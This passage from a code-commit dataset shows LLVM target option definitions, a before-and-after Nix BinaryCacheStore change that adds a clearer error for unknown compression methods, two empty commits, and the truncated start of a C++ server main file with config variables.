clEnumValEnd));\nstatic cl::opt<bool, true>\nDontPlaceZerosInBSS(\"nozero-initialized-in-bss\",\n  cl::desc(\"Don't place zero-initialized symbols into bss section\"),\n  cl::location(NoZerosInBSS),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableDwarfExceptionHandling(\"enable-eh\",\n  cl::desc(\"Emit DWARF exception handling (default if target supports)\"),\n  cl::location(DwarfExceptionHandling),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableSjLjExceptionHandling(\"enable-sjlj-eh\",\n  cl::desc(\"Emit SJLJ exception handling (default if target supports)\"),\n  cl::location(SjLjExceptionHandling),\n  cl::init(false));\n\/\/ In debug builds, make this default to true.\n#ifdef NDEBUG\n#define EMIT_DEBUG false\n#else\n#define EMIT_DEBUG true\n#endif\nstatic cl::opt<bool, true>\nEmitJitDebugInfo(\"jit-emit-debug\",\n  cl::desc(\"Emit debug information to debugger\"),\n  cl::location(JITEmitDebugInfo),\n  cl::init(EMIT_DEBUG));\n#undef EMIT_DEBUG\nstatic cl::opt<bool, true>\nEmitJitDebugInfoToDisk(\"jit-emit-debug-to-disk\",\n  cl::Hidden,\n  cl::desc(\"Emit debug info objfiles to disk\"),\n  cl::location(JITEmitDebugInfoToDisk),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableUnwindTables(\"unwind-tables\",\n  cl::desc(\"Generate unwinding tables for all functions\"),\n  cl::location(UnwindTablesMandatory),\n  cl::init(false));\n\nstatic cl::opt<llvm::Reloc::Model, true>\nDefRelocationModel(\"relocation-model\",\n  cl::desc(\"Choose relocation model\"),\n  cl::location(RelocationModel),\n  cl::init(Reloc::Default),\n  cl::values(\n    clEnumValN(Reloc::Default, \"default\",\n               \"Target default relocation model\"),\n    clEnumValN(Reloc::Static, \"static\",\n               \"Non-relocatable code\"),\n    clEnumValN(Reloc::PIC_, \"pic\",\n               \"Fully relocatable, position independent code\"),\n    clEnumValN(Reloc::DynamicNoPIC, \"dynamic-no-pic\",\n               \"Relocatable external references, non-relocatable code\"),\n    clEnumValEnd));\nstatic cl::opt<llvm::CodeModel::Model, true>\nDefCodeModel(\"code-model\",\n  cl::desc(\"Choose code model\"),\n  cl::location(CMModel),\n  cl::init(CodeModel::Default),\n  cl::values(\n    clEnumValN(CodeModel::Default, \"default\",\n               \"Target default code model\"),\n    clEnumValN(CodeModel::Small, \"small\",\n               \"Small code model\"),\n    clEnumValN(CodeModel::Kernel, \"kernel\",\n               \"Kernel code model\"),\n    clEnumValN(CodeModel::Medium, \"medium\",\n               \"Medium code model\"),\n    clEnumValN(CodeModel::Large, \"large\",\n               \"Large code model\"),\n    clEnumValEnd));\nstatic cl::opt<bool, true>\nEnablePerformTailCallOpt(\"tailcallopt\",\n  cl::desc(\"Turn fastcc calls into tail calls by (potentially) changing ABI.\"),\n  cl::location(PerformTailCallOpt),\n  cl::init(false));\nstatic cl::opt<unsigned, true>\nOverrideStackAlignment(\"stack-alignment\",\n  cl::desc(\"Override default stack alignment\"),\n  cl::location(StackAlignment),\n  cl::init(0));\nstatic cl::opt<bool, true>\nEnableRealignStack(\"realign-stack\",\n  cl::desc(\"Realign stack if needed\"),\n  cl::location(RealignStack),\n  cl::init(true));\nstatic cl::opt<bool, true>\nDisableSwitchTables(cl::Hidden, \"disable-jump-tables\", \n  cl::desc(\"Do not generate jump tables.\"),\n  cl::location(DisableJumpTables),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableStrongPHIElim(cl::Hidden, \"strong-phi-elim\",\n  cl::desc(\"Use strong PHI elimination.\"),\n  cl::location(StrongPHIElim),\n  cl::init(false));\n\n\/\/---------------------------------------------------------------------------\n\/\/ TargetMachine Class\n\/\/\n\nTargetMachine::TargetMachine(const Target &T) \n  : TheTarget(T), AsmInfo(0) {\n  \/\/ Typically it will be subtargets that will adjust FloatABIType from Default\n  \/\/ to Soft or Hard.\n  if (UseSoftFloat)\n    FloatABIType = FloatABI::Soft;\n}\n\nTargetMachine::~TargetMachine() {\n  delete AsmInfo;\n}\n\n\/\/\/ getRelocationModel - Returns the code generation relocation model. The\n\/\/\/ choices are static, PIC, and dynamic-no-pic, and target default.\nReloc::Model TargetMachine::getRelocationModel() {\n  return RelocationModel;\n}\n\n\/\/\/ setRelocationModel - Sets the code generation relocation model.\nvoid TargetMachine::setRelocationModel(Reloc::Model Model) {\n  RelocationModel = Model;\n}\n\n\/\/\/ getCodeModel - Returns the code model. The choices are small, kernel,\n\/\/\/ medium, large, and target default.\nCodeModel::Model TargetMachine::getCodeModel() {\n  return CMModel;\n}\n\n\/\/\/ setCodeModel - Sets the code model.\nvoid TargetMachine::setCodeModel(CodeModel::Model Model) {\n  CMModel = Model;\n}\n\nbool TargetMachine::getAsmVerbosityDefault() {\n  return AsmVerbosityDefault;\n}\n\nvoid TargetMachine::setAsmVerbosityDefault(bool V) {\n  AsmVerbosityDefault = V;\n}\n\nnamespace llvm {\n  \/\/\/ LessPreciseFPMAD - This flag return true when -enable-fp-mad option\n  \/\/\/ is specified on the command line.  When this flag is off(default), the\n  \/\/\/ code generator is not allowed to generate mad (multiply add) if the\n  \/\/\/ result is \"less precise\" than doing those operations individually.\n  bool LessPreciseFPMAD() { return UnsafeFPMath || LessPreciseFPMADOption; }\n\n  \/\/\/ FiniteOnlyFPMath - This returns true when the -enable-finite-only-fp-math\n  \/\/\/ option is specified on the command line. If this returns false (default),\n  \/\/\/ the code generator is not allowed to assume that FP arithmetic arguments\n  \/\/\/ and results are never NaNs or +-Infs.\n  bool FiniteOnlyFPMath() { return UnsafeFPMath || FiniteOnlyFPMathOption; }\n  \n  \/\/\/ HonorSignDependentRoundingFPMath - Return true if the codegen must assume\n  \/\/\/ that the rounding mode of the FPU can change from its default.\n  bool HonorSignDependentRoundingFPMath() {\n    return !UnsafeFPMath && HonorSignDependentRoundingFPMathOption;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"archive.hh\"\n#include \"binary-cache-store.hh\"\n#include \"compression.hh\"\n#include \"derivations.hh\"\n#include \"fs-accessor.hh\"\n#include \"globals.hh\"\n#include \"nar-info.hh\"\n#include \"sync.hh\"\n#include \"worker-protocol.hh\"\n#include \"nar-accessor.hh\"\n#include \"nar-info-disk-cache.hh\"\n\n#include <chrono>\n\nnamespace nix {\n\nBinaryCacheStore::BinaryCacheStore(std::shared_ptr<Store> localStore,\n    const StoreParams & params)\n    : localStore(localStore)\n    , compression(get(params, \"compression\", \"xz\"))\n{\n    auto secretKeyFile = get(params, \"secret-key\", \"\");\n    if (secretKeyFile != \"\")\n        secretKey = std::unique_ptr<SecretKey>(new SecretKey(readFile(secretKeyFile)));\n\n    StringSink sink;\n    sink << narVersionMagic1;\n    narMagic = *sink.s;\n}\n\nvoid BinaryCacheStore::init()\n{\n    std::string cacheInfoFile = \"nix-cache-info\";\n    if (!fileExists(cacheInfoFile))\n        upsertFile(cacheInfoFile, \"StoreDir: \" + settings.nixStore + \"\\n\");\n}\n\nvoid BinaryCacheStore::notImpl()\n{\n    throw Error(\"operation not implemented for binary cache stores\");\n}\n\nPath BinaryCacheStore::narInfoFileFor(const Path & storePath)\n{\n    assertStorePath(storePath);\n    return storePathToHash(storePath) + \".narinfo\";\n}\n\nvoid BinaryCacheStore::addToCache(const ValidPathInfo & info, ref<std::string> nar)\n{\n    \/* Verify that all references are valid. This may do some .narinfo\n       reads, but typically they'll already be cached. *\/\n    for (auto & ref : info.references)\n        try {\n            if (ref != info.path)\n                queryPathInfo(ref);\n        } catch (InvalidPath &) {\n            throw Error(format(\"cannot add ‘%s’ to the binary cache because the reference ‘%s’ is not valid\")\n                % info.path % ref);\n        }\n\n    auto narInfoFile = narInfoFileFor(info.path);\n    if (fileExists(narInfoFile)) return;\n\n    assert(nar->compare(0, narMagic.size(), narMagic) == 0);\n\n    auto narInfo = make_ref<NarInfo>(info);\n\n    narInfo->narSize = nar->size();\n    narInfo->narHash = hashString(htSHA256, *nar);\n\n    if (info.narHash && info.narHash != narInfo->narHash)\n        throw Error(format(\"refusing to copy corrupted path ‘%1%’ to binary cache\") % info.path);\n\n    \/* Compress the NAR. *\/\n    narInfo->compression = compression;\n    auto now1 = std::chrono::steady_clock::now();\n    auto narCompressed = compress(compression, nar);\n    auto now2 = std::chrono::steady_clock::now();\n    narInfo->fileHash = hashString(htSHA256, *narCompressed);\n    narInfo->fileSize = narCompressed->size();\n\n    auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(now2 - now1).count();\n    printMsg(lvlTalkative, format(\"copying path ‘%1%’ (%2% bytes, compressed %3$.1f%% in %4% ms) to binary cache\")\n        % narInfo->path % narInfo->narSize\n        % ((1.0 - (double) narCompressed->size() \/ nar->size()) * 100.0)\n        % duration);\n\n    \/* Atomically write the NAR file. *\/\n    narInfo->url = \"nar\/\" + printHash32(narInfo->fileHash) + \".nar.xz\";\n    if (!fileExists(narInfo->url)) {\n        stats.narWrite++;\n        upsertFile(narInfo->url, *narCompressed);\n    } else\n        stats.narWriteAverted++;\n\n    stats.narWriteBytes += nar->size();\n    stats.narWriteCompressedBytes += narCompressed->size();\n    stats.narWriteCompressionTimeMs += duration;\n\n    \/* Atomically write the NAR info file.*\/\n    if (secretKey) narInfo->sign(*secretKey);\n\n    upsertFile(narInfoFile, narInfo->to_string());\n\n    auto hashPart = storePathToHash(narInfo->path);\n\n    {\n        auto state_(state.lock());\n        state_->pathInfoCache.upsert(hashPart, std::shared_ptr<NarInfo>(narInfo));\n    }\n\n    if (diskCache)\n        diskCache->upsertNarInfo(getUri(), hashPart, std::shared_ptr<NarInfo>(narInfo));\n\n    stats.narInfoWrite++;\n}\n\nbool BinaryCacheStore::isValidPathUncached(const Path & storePath)\n{\n    \/\/ FIXME: this only checks whether a .narinfo with a matching hash\n    \/\/ part exists. So ‘f4kb...-foo’ matches ‘f4kb...-bar’, even\n    \/\/ though they shouldn't. Not easily fixed.\n    return fileExists(narInfoFileFor(storePath));\n}\n\nvoid BinaryCacheStore::narFromPath(const Path & storePath, Sink & sink)\n{\n    auto info = queryPathInfo(storePath).cast<const NarInfo>();\n\n    auto nar = getFile(info->url);\n\n    if (!nar) throw Error(format(\"file ‘%s’ missing from binary cache\") % info->url);\n\n    stats.narRead++;\n    stats.narReadCompressedBytes += nar->size();\n\n    \/* Decompress the NAR. FIXME: would be nice to have the remote\n       side do this. *\/\n    nar = decompress(info->compression, ref<std::string>(nar));\n\n    stats.narReadBytes += nar->size();\n\n    printMsg(lvlTalkative, format(\"exporting path ‘%1%’ (%2% bytes)\") % storePath % nar->size());\n\n    assert(nar->size() % 8 == 0);\n\n    sink((unsigned char *) nar->c_str(), nar->size());\n}\n\nvoid BinaryCacheStore::exportPath(const Path & storePath, bool sign, Sink & sink)\n{\n    assert(!sign);\n\n    auto res = queryPathInfo(storePath);\n\n    narFromPath(storePath, sink);\n\n    \/\/ FIXME: check integrity of NAR.\n\n    sink << exportMagic << storePath << res->references << res->deriver << 0;\n}\n\nPaths BinaryCacheStore::importPaths(bool requireSignature, Source & source,\n    std::shared_ptr<FSAccessor> accessor)\n{\n    assert(!requireSignature);\n    Paths res;\n    while (true) {\n        unsigned long long n = readLongLong(source);\n        if (n == 0) break;\n        if (n != 1) throw Error(\"input doesn't look like something created by ‘nix-store --export’\");\n        res.push_back(importPath(source, accessor));\n    }\n    return res;\n}\n\nstruct TeeSource : Source\n{\n    Source & readSource;\n    ref<std::string> data;\n    TeeSource(Source & readSource)\n        : readSource(readSource)\n        , data(make_ref<std::string>())\n    {\n    }\n    size_t read(unsigned char * data, size_t len)\n    {\n        size_t n = readSource.read(data, len);\n        this->data->append((char *) data, n);\n        return n;\n    }\n};\n\nstruct NopSink : ParseSink\n{\n};\n\nstd::shared_ptr<ValidPathInfo> BinaryCacheStore::queryPathInfoUncached(const Path & storePath)\n{\n    auto narInfoFile = narInfoFileFor(storePath);\n    auto data = getFile(narInfoFile);\n    if (!data) return 0;\n\n    auto narInfo = make_ref<NarInfo>(*data, narInfoFile);\n\n    stats.narInfoRead++;\n\n    return std::shared_ptr<NarInfo>(narInfo);\n}\n\nvoid BinaryCacheStore::querySubstitutablePathInfos(const PathSet & paths,\n    SubstitutablePathInfos & infos)\n{\n    PathSet left;\n\n    if (!localStore) return;\n\n    for (auto & storePath : paths) {\n        try {\n            auto info = localStore->queryPathInfo(storePath);\n            SubstitutablePathInfo sub;\n            sub.references = info->references;\n            sub.downloadSize = 0;\n            sub.narSize = info->narSize;\n            infos.emplace(storePath, sub);\n        } catch (InvalidPath &) {\n            left.insert(storePath);\n        }\n    }\n\n    if (settings.useSubstitutes)\n        localStore->querySubstitutablePathInfos(left, infos);\n}\n\nPath BinaryCacheStore::addToStore(const string & name, const Path & srcPath,\n    bool recursive, HashType hashAlgo, PathFilter & filter, bool repair)\n{\n    \/\/ FIXME: some cut&paste from LocalStore::addToStore().\n\n    \/* Read the whole path into memory. This is not a very scalable\n       method for very large paths, but `copyPath' is mainly used for\n       small files. *\/\n    StringSink sink;\n    Hash h;\n    if (recursive) {\n        dumpPath(srcPath, sink, filter);\n        h = hashString(hashAlgo, *sink.s);\n    } else {\n        auto s = readFile(srcPath);\n        dumpString(s, sink);\n        h = hashString(hashAlgo, s);\n    }\n\n    ValidPathInfo info;\n    info.path = makeFixedOutputPath(recursive, hashAlgo, h, name);\n\n    if (repair || !isValidPath(info.path))\n        addToCache(info, sink.s);\n\n    return info.path;\n}\n\nPath BinaryCacheStore::addTextToStore(const string & name, const string & s,\n    const PathSet & references, bool repair)\n{\n    ValidPathInfo info;\n    info.path = computeStorePathForText(name, s, references);\n    info.references = references;\n\n    if (repair || !isValidPath(info.path)) {\n        StringSink sink;\n        dumpString(s, sink);\n        addToCache(info, sink.s);\n    }\n\n    return info.path;\n}\n\nvoid BinaryCacheStore::buildPaths(const PathSet & paths, BuildMode buildMode)\n{\n    for (auto & storePath : paths) {\n        assert(!isDerivation(storePath));\n\n        if (isValidPath(storePath)) continue;\n\n        if (!localStore)\n            throw Error(format(\"don't know how to realise path ‘%1%’ in a binary cache\") % storePath);\n\n        localStore->addTempRoot(storePath);\n\n        if (!localStore->isValidPath(storePath))\n            localStore->ensurePath(storePath);\n\n        auto info = localStore->queryPathInfo(storePath);\n\n        for (auto & ref : info->references)\n            if (ref != storePath)\n                ensurePath(ref);\n\n        StringSink sink;\n        dumpPath(storePath, sink);\n\n        addToCache(*info, sink.s);\n    }\n}\n\nvoid BinaryCacheStore::ensurePath(const Path & path)\n{\n    buildPaths({path});\n}\n\n\/* Given requests for a path \/nix\/store\/<x>\/<y>, this accessor will\n   first download the NAR for \/nix\/store\/<x> from the binary cache,\n   build a NAR accessor for that NAR, and use that to access <y>. *\/\nstruct BinaryCacheStoreAccessor : public FSAccessor\n{\n    ref<BinaryCacheStore> store;\n\n    std::map<Path, ref<FSAccessor>> nars;\n\n    BinaryCacheStoreAccessor(ref<BinaryCacheStore> store)\n        : store(store)\n    {\n    }\n\n    std::pair<ref<FSAccessor>, Path> fetch(const Path & path_)\n    {\n        auto path = canonPath(path_);\n\n        auto storePath = toStorePath(path);\n        std::string restPath = std::string(path, storePath.size());\n\n        if (!store->isValidPath(storePath))\n            throw Error(format(\"path ‘%1%’ is not a valid store path\") % storePath);\n\n        auto i = nars.find(storePath);\n        if (i != nars.end()) return {i->second, restPath};\n\n        StringSink sink;\n        store->exportPath(storePath, false, sink);\n\n        auto accessor = makeNarAccessor(sink.s);\n        nars.emplace(storePath, accessor);\n        return {accessor, restPath};\n    }\n\n    Stat stat(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->stat(res.second);\n    }\n\n    StringSet readDirectory(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->readDirectory(res.second);\n    }\n\n    std::string readFile(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->readFile(res.second);\n    }\n\n    std::string readLink(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->readLink(res.second);\n    }\n};\n\nref<FSAccessor> BinaryCacheStore::getFSAccessor()\n{\n    return make_ref<BinaryCacheStoreAccessor>(ref<BinaryCacheStore>(\n            std::dynamic_pointer_cast<BinaryCacheStore>(shared_from_this())));\n}\n\nPath BinaryCacheStore::importPath(Source & source, std::shared_ptr<FSAccessor> accessor)\n{\n    \/* FIXME: some cut&paste of LocalStore::importPath(). *\/\n\n    \/* Extract the NAR from the source. *\/\n    TeeSource tee(source);\n    NopSink sink;\n    parseDump(sink, tee);\n\n    uint32_t magic = readInt(source);\n    if (magic != exportMagic)\n        throw Error(\"Nix archive cannot be imported; wrong format\");\n\n    ValidPathInfo info;\n    info.path = readStorePath(source);\n\n    info.references = readStorePaths<PathSet>(source);\n\n    readString(source); \/\/ deriver, don't care\n\n    bool haveSignature = readInt(source) == 1;\n    assert(!haveSignature);\n\n    addToCache(info, tee.data);\n\n    auto accessor_ = std::dynamic_pointer_cast<BinaryCacheStoreAccessor>(accessor);\n    if (accessor_)\n        accessor_->nars.emplace(info.path, makeNarAccessor(tee.data));\n\n    return info.path;\n}\n\n}\n<commit_msg>Better error message<commit_after>#include \"archive.hh\"\n#include \"binary-cache-store.hh\"\n#include \"compression.hh\"\n#include \"derivations.hh\"\n#include \"fs-accessor.hh\"\n#include \"globals.hh\"\n#include \"nar-info.hh\"\n#include \"sync.hh\"\n#include \"worker-protocol.hh\"\n#include \"nar-accessor.hh\"\n#include \"nar-info-disk-cache.hh\"\n\n#include <chrono>\n\nnamespace nix {\n\nBinaryCacheStore::BinaryCacheStore(std::shared_ptr<Store> localStore,\n    const StoreParams & params)\n    : localStore(localStore)\n    , compression(get(params, \"compression\", \"xz\"))\n{\n    auto secretKeyFile = get(params, \"secret-key\", \"\");\n    if (secretKeyFile != \"\")\n        secretKey = std::unique_ptr<SecretKey>(new SecretKey(readFile(secretKeyFile)));\n\n    StringSink sink;\n    sink << narVersionMagic1;\n    narMagic = *sink.s;\n}\n\nvoid BinaryCacheStore::init()\n{\n    std::string cacheInfoFile = \"nix-cache-info\";\n    if (!fileExists(cacheInfoFile))\n        upsertFile(cacheInfoFile, \"StoreDir: \" + settings.nixStore + \"\\n\");\n}\n\nvoid BinaryCacheStore::notImpl()\n{\n    throw Error(\"operation not implemented for binary cache stores\");\n}\n\nPath BinaryCacheStore::narInfoFileFor(const Path & storePath)\n{\n    assertStorePath(storePath);\n    return storePathToHash(storePath) + \".narinfo\";\n}\n\nvoid BinaryCacheStore::addToCache(const ValidPathInfo & info, ref<std::string> nar)\n{\n    \/* Verify that all references are valid. This may do some .narinfo\n       reads, but typically they'll already be cached. *\/\n    for (auto & ref : info.references)\n        try {\n            if (ref != info.path)\n                queryPathInfo(ref);\n        } catch (InvalidPath &) {\n            throw Error(format(\"cannot add ‘%s’ to the binary cache because the reference ‘%s’ is not valid\")\n                % info.path % ref);\n        }\n\n    auto narInfoFile = narInfoFileFor(info.path);\n    if (fileExists(narInfoFile)) return;\n\n    assert(nar->compare(0, narMagic.size(), narMagic) == 0);\n\n    auto narInfo = make_ref<NarInfo>(info);\n\n    narInfo->narSize = nar->size();\n    narInfo->narHash = hashString(htSHA256, *nar);\n\n    if (info.narHash && info.narHash != narInfo->narHash)\n        throw Error(format(\"refusing to copy corrupted path ‘%1%’ to binary cache\") % info.path);\n\n    \/* Compress the NAR. *\/\n    narInfo->compression = compression;\n    auto now1 = std::chrono::steady_clock::now();\n    auto narCompressed = compress(compression, nar);\n    auto now2 = std::chrono::steady_clock::now();\n    narInfo->fileHash = hashString(htSHA256, *narCompressed);\n    narInfo->fileSize = narCompressed->size();\n\n    auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(now2 - now1).count();\n    printMsg(lvlTalkative, format(\"copying path ‘%1%’ (%2% bytes, compressed %3$.1f%% in %4% ms) to binary cache\")\n        % narInfo->path % narInfo->narSize\n        % ((1.0 - (double) narCompressed->size() \/ nar->size()) * 100.0)\n        % duration);\n\n    \/* Atomically write the NAR file. *\/\n    narInfo->url = \"nar\/\" + printHash32(narInfo->fileHash) + \".nar.xz\";\n    if (!fileExists(narInfo->url)) {\n        stats.narWrite++;\n        upsertFile(narInfo->url, *narCompressed);\n    } else\n        stats.narWriteAverted++;\n\n    stats.narWriteBytes += nar->size();\n    stats.narWriteCompressedBytes += narCompressed->size();\n    stats.narWriteCompressionTimeMs += duration;\n\n    \/* Atomically write the NAR info file.*\/\n    if (secretKey) narInfo->sign(*secretKey);\n\n    upsertFile(narInfoFile, narInfo->to_string());\n\n    auto hashPart = storePathToHash(narInfo->path);\n\n    {\n        auto state_(state.lock());\n        state_->pathInfoCache.upsert(hashPart, std::shared_ptr<NarInfo>(narInfo));\n    }\n\n    if (diskCache)\n        diskCache->upsertNarInfo(getUri(), hashPart, std::shared_ptr<NarInfo>(narInfo));\n\n    stats.narInfoWrite++;\n}\n\nbool BinaryCacheStore::isValidPathUncached(const Path & storePath)\n{\n    \/\/ FIXME: this only checks whether a .narinfo with a matching hash\n    \/\/ part exists. So ‘f4kb...-foo’ matches ‘f4kb...-bar’, even\n    \/\/ though they shouldn't. Not easily fixed.\n    return fileExists(narInfoFileFor(storePath));\n}\n\nvoid BinaryCacheStore::narFromPath(const Path & storePath, Sink & sink)\n{\n    auto info = queryPathInfo(storePath).cast<const NarInfo>();\n\n    auto nar = getFile(info->url);\n\n    if (!nar) throw Error(format(\"file ‘%s’ missing from binary cache\") % info->url);\n\n    stats.narRead++;\n    stats.narReadCompressedBytes += nar->size();\n\n    \/* Decompress the NAR. FIXME: would be nice to have the remote\n       side do this. *\/\n    try {\n        nar = decompress(info->compression, ref<std::string>(nar));\n    } catch (UnknownCompressionMethod &) {\n        throw Error(format(\"binary cache path ‘%s’ uses unknown compression method ‘%s’\")\n            % storePath % info->compression);\n    }\n\n    stats.narReadBytes += nar->size();\n\n    printMsg(lvlTalkative, format(\"exporting path ‘%1%’ (%2% bytes)\") % storePath % nar->size());\n\n    assert(nar->size() % 8 == 0);\n\n    sink((unsigned char *) nar->c_str(), nar->size());\n}\n\nvoid BinaryCacheStore::exportPath(const Path & storePath, bool sign, Sink & sink)\n{\n    assert(!sign);\n\n    auto res = queryPathInfo(storePath);\n\n    narFromPath(storePath, sink);\n\n    \/\/ FIXME: check integrity of NAR.\n\n    sink << exportMagic << storePath << res->references << res->deriver << 0;\n}\n\nPaths BinaryCacheStore::importPaths(bool requireSignature, Source & source,\n    std::shared_ptr<FSAccessor> accessor)\n{\n    assert(!requireSignature);\n    Paths res;\n    while (true) {\n        unsigned long long n = readLongLong(source);\n        if (n == 0) break;\n        if (n != 1) throw Error(\"input doesn't look like something created by ‘nix-store --export’\");\n        res.push_back(importPath(source, accessor));\n    }\n    return res;\n}\n\nstruct TeeSource : Source\n{\n    Source & readSource;\n    ref<std::string> data;\n    TeeSource(Source & readSource)\n        : readSource(readSource)\n        , data(make_ref<std::string>())\n    {\n    }\n    size_t read(unsigned char * data, size_t len)\n    {\n        size_t n = readSource.read(data, len);\n        this->data->append((char *) data, n);\n        return n;\n    }\n};\n\nstruct NopSink : ParseSink\n{\n};\n\nstd::shared_ptr<ValidPathInfo> BinaryCacheStore::queryPathInfoUncached(const Path & storePath)\n{\n    auto narInfoFile = narInfoFileFor(storePath);\n    auto data = getFile(narInfoFile);\n    if (!data) return 0;\n\n    auto narInfo = make_ref<NarInfo>(*data, narInfoFile);\n\n    stats.narInfoRead++;\n\n    return std::shared_ptr<NarInfo>(narInfo);\n}\n\nvoid BinaryCacheStore::querySubstitutablePathInfos(const PathSet & paths,\n    SubstitutablePathInfos & infos)\n{\n    PathSet left;\n\n    if (!localStore) return;\n\n    for (auto & storePath : paths) {\n        try {\n            auto info = localStore->queryPathInfo(storePath);\n            SubstitutablePathInfo sub;\n            sub.references = info->references;\n            sub.downloadSize = 0;\n            sub.narSize = info->narSize;\n            infos.emplace(storePath, sub);\n        } catch (InvalidPath &) {\n            left.insert(storePath);\n        }\n    }\n\n    if (settings.useSubstitutes)\n        localStore->querySubstitutablePathInfos(left, infos);\n}\n\nPath BinaryCacheStore::addToStore(const string & name, const Path & srcPath,\n    bool recursive, HashType hashAlgo, PathFilter & filter, bool repair)\n{\n    \/\/ FIXME: some cut&paste from LocalStore::addToStore().\n\n    \/* Read the whole path into memory. This is not a very scalable\n       method for very large paths, but `copyPath' is mainly used for\n       small files. *\/\n    StringSink sink;\n    Hash h;\n    if (recursive) {\n        dumpPath(srcPath, sink, filter);\n        h = hashString(hashAlgo, *sink.s);\n    } else {\n        auto s = readFile(srcPath);\n        dumpString(s, sink);\n        h = hashString(hashAlgo, s);\n    }\n\n    ValidPathInfo info;\n    info.path = makeFixedOutputPath(recursive, hashAlgo, h, name);\n\n    if (repair || !isValidPath(info.path))\n        addToCache(info, sink.s);\n\n    return info.path;\n}\n\nPath BinaryCacheStore::addTextToStore(const string & name, const string & s,\n    const PathSet & references, bool repair)\n{\n    ValidPathInfo info;\n    info.path = computeStorePathForText(name, s, references);\n    info.references = references;\n\n    if (repair || !isValidPath(info.path)) {\n        StringSink sink;\n        dumpString(s, sink);\n        addToCache(info, sink.s);\n    }\n\n    return info.path;\n}\n\nvoid BinaryCacheStore::buildPaths(const PathSet & paths, BuildMode buildMode)\n{\n    for (auto & storePath : paths) {\n        assert(!isDerivation(storePath));\n\n        if (isValidPath(storePath)) continue;\n\n        if (!localStore)\n            throw Error(format(\"don't know how to realise path ‘%1%’ in a binary cache\") % storePath);\n\n        localStore->addTempRoot(storePath);\n\n        if (!localStore->isValidPath(storePath))\n            localStore->ensurePath(storePath);\n\n        auto info = localStore->queryPathInfo(storePath);\n\n        for (auto & ref : info->references)\n            if (ref != storePath)\n                ensurePath(ref);\n\n        StringSink sink;\n        dumpPath(storePath, sink);\n\n        addToCache(*info, sink.s);\n    }\n}\n\nvoid BinaryCacheStore::ensurePath(const Path & path)\n{\n    buildPaths({path});\n}\n\n\/* Given requests for a path \/nix\/store\/<x>\/<y>, this accessor will\n   first download the NAR for \/nix\/store\/<x> from the binary cache,\n   build a NAR accessor for that NAR, and use that to access <y>. *\/\nstruct BinaryCacheStoreAccessor : public FSAccessor\n{\n    ref<BinaryCacheStore> store;\n\n    std::map<Path, ref<FSAccessor>> nars;\n\n    BinaryCacheStoreAccessor(ref<BinaryCacheStore> store)\n        : store(store)\n    {\n    }\n\n    std::pair<ref<FSAccessor>, Path> fetch(const Path & path_)\n    {\n        auto path = canonPath(path_);\n\n        auto storePath = toStorePath(path);\n        std::string restPath = std::string(path, storePath.size());\n\n        if (!store->isValidPath(storePath))\n            throw Error(format(\"path ‘%1%’ is not a valid store path\") % storePath);\n\n        auto i = nars.find(storePath);\n        if (i != nars.end()) return {i->second, restPath};\n\n        StringSink sink;\n        store->exportPath(storePath, false, sink);\n\n        auto accessor = makeNarAccessor(sink.s);\n        nars.emplace(storePath, accessor);\n        return {accessor, restPath};\n    }\n\n    Stat stat(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->stat(res.second);\n    }\n\n    StringSet readDirectory(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->readDirectory(res.second);\n    }\n\n    std::string readFile(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->readFile(res.second);\n    }\n\n    std::string readLink(const Path & path) override\n    {\n        auto res = fetch(path);\n        return res.first->readLink(res.second);\n    }\n};\n\nref<FSAccessor> BinaryCacheStore::getFSAccessor()\n{\n    return make_ref<BinaryCacheStoreAccessor>(ref<BinaryCacheStore>(\n            std::dynamic_pointer_cast<BinaryCacheStore>(shared_from_this())));\n}\n\nPath BinaryCacheStore::importPath(Source & source, std::shared_ptr<FSAccessor> accessor)\n{\n    \/* FIXME: some cut&paste of LocalStore::importPath(). *\/\n\n    \/* Extract the NAR from the source. *\/\n    TeeSource tee(source);\n    NopSink sink;\n    parseDump(sink, tee);\n\n    uint32_t magic = readInt(source);\n    if (magic != exportMagic)\n        throw Error(\"Nix archive cannot be imported; wrong format\");\n\n    ValidPathInfo info;\n    info.path = readStorePath(source);\n\n    info.references = readStorePaths<PathSet>(source);\n\n    readString(source); \/\/ deriver, don't care\n\n    bool haveSignature = readInt(source) == 1;\n    assert(!haveSignature);\n\n    addToCache(info, tee.data);\n\n    auto accessor_ = std::dynamic_pointer_cast<BinaryCacheStoreAccessor>(accessor);\n    if (accessor_)\n        accessor_->nars.emplace(info.path, makeNarAccessor(tee.data));\n\n    return info.path;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>randi added to rand, namespaced a now lowecase<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>MISC: Minor change to previous commit.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"global.h\"\n#include \"RoleFactory.h\"\n#include \"config\/constraints.h\"\n\n#include <boost\/filesystem.hpp>\n\n#include <cstring>\n#include <string>  \/\/ std::string\n#include <vector>  \/\/ std::vector\n#include <fstream> \/\/ std::ifstream\nusing namespace std;\n\nstatic LogCategory mainlog(\"main\", \"Main\");\n\nstatic ConfigGroup general_config(\"general\");\nstatic ConfigVariable<vector<string> > dc_files(\"dc_files\", vector<string>(), general_config);\nstatic ConfigVariable<string> eventlogger_addr(\"eventlogger\", \"\", general_config);\nstatic ValidAddressConstraint valid_eventlogger_addr(eventlogger_addr);\n\nstatic ConfigList uberdogs_config(\"uberdogs\");\nstatic ConfigVariable<doid_t> uberdog_id(\"id\", INVALID_DO_ID, uberdogs_config);\nstatic ConfigVariable<string> uberdog_class(\"class\", \"\", uberdogs_config);\nstatic ConfigVariable<bool> uberdog_anon(\"anonymous\", false, uberdogs_config);\nstatic InvalidDoidConstraint id_not_invalid(uberdog_id);\nstatic ReservedDoidConstraint id_not_reserved(uberdog_id);\n\nstatic void printHelp(ostream &s);\n\n\nint 